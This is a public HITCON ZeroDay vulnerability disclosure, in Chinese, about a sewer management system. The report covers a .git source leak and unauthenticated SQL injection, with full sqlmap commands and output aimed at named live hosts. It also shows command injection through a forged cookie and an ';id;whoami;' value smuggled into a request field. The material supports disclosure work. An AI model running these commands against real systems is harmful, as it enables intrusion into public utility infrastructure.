智能型污水下水道管理系統 .git洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01050
  •  發信 Vendor: 維爵股份有限公司版權所有 使用公司 泉鼎水務公司
  • Title: 智能型污水下水道管理系統 .git洩漏
  • Introduction: git目錄洩漏 分析出 管理用萬能密碼 多個API有無須登入的MYSQL注入漏洞 +無須登入執行伺服器命令

處理狀態

目前狀態

公開
Last Update : 2026/10/19
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/08/19 17:14:26 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/19 17:28:12 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/19 17:30:01 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/19 17:36:47 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/19 18:20:02 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/19 18:21:28 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/21 16:16:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:02:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:02:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:02:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/19 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://isdoms.wgi.tw/index.php
部分漏洞
https://wj.wgi.tw/uty/find.php 也有
https://www.wjpw.com.tw/ 也有

敘述

git-dumper https://isdoms.wgi.tw isdoms.wgi.tw
下載成功
或是
https://isdoms.wgi.tw/isdoms.zip

他有2份程式碼 一份不須git-dumper 直接URL下載 這是透過 以下API分析出來的
本來在找robots.txt 找到一份 額外的原始碼
curl -X POST https://isdoms.wgi.tw/uty/find.php \
-d "T_word=User-agent" \
-d "submit=開始搜尋(替換)"

可以搜尋包含任意檔案路徑
圖片

接下來是無需登入的MYSQL後端API注入 無須登入授權

MYSQL注入確認
sqlmap -u "https://isdoms.wgi.tw/c1/get_info.php" \
--data "no=A04&pic_mask=1" \
-p "no,pic_mask" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查名(root@localhost)

sqlmap -u "https://isdoms.wgi.tw/c1/get_info.php" \
--data "no=A04&pic_mask=1" \
-p "no" \
--dbms=mysql \
--technique=U \
--sql-query "SELECT user()" \
--batch \
--random-agent \
--threads 1 \
--tamper space2comment \
--level 3 \
--risk 2
查所有庫
sqlmap -u "https://isdoms.wgi.tw/c1/get_info.php" \
--data "no=A04&pic_mask=1" \
-p "no" \
--dbms=mysql \
--technique=U \
--dbs \
--batch \
--random-agent \
--threads 1 \
--tamper space2comment \
--level 3 \
--risk 2
確認DBA (是)

sqlmap -u "https://isdoms.wgi.tw/c1/get_info.php" \
--data "no=A04&pic_mask=1" \
-p "no" \
--dbms=mysql \
--technique=U \
--is-dba \
--batch \
--random-agent \
--threads 1 \
--tamper space2comment \
--level 3 \
--risk 2

[16:57:23] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[16:57:23] [INFO] testing MySQL
[16:57:23] [INFO] confirming MySQL
[16:57:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Alma
web application technology: Apache 2.4.37, PHP 7.2.24
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:57:23] [INFO] testing if current user is DBA
[16:57:23] [INFO] fetching current user
[16:57:23] [WARNING] reflective value(s) found and filtering out
current user is DBA: True

無須登入執行伺服器命令

curl -X POST https://isdoms.wgi.tw/upload/x_pic_snap.php \
-H "Cookie: user_id=1" \
-d "kind=1&src=test.mp4&time=0;id;whoami;"
id和whoami 如實執行

圖片

https://wj.wgi.tw
透過zoomeye強行搜出這個測試網站也有類似漏洞

https://wj.wgi.tw/uty/find.php 但無我上面用的RCE 查檔案

https://www.wjpw.com.tw/uty/find.php 也有

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;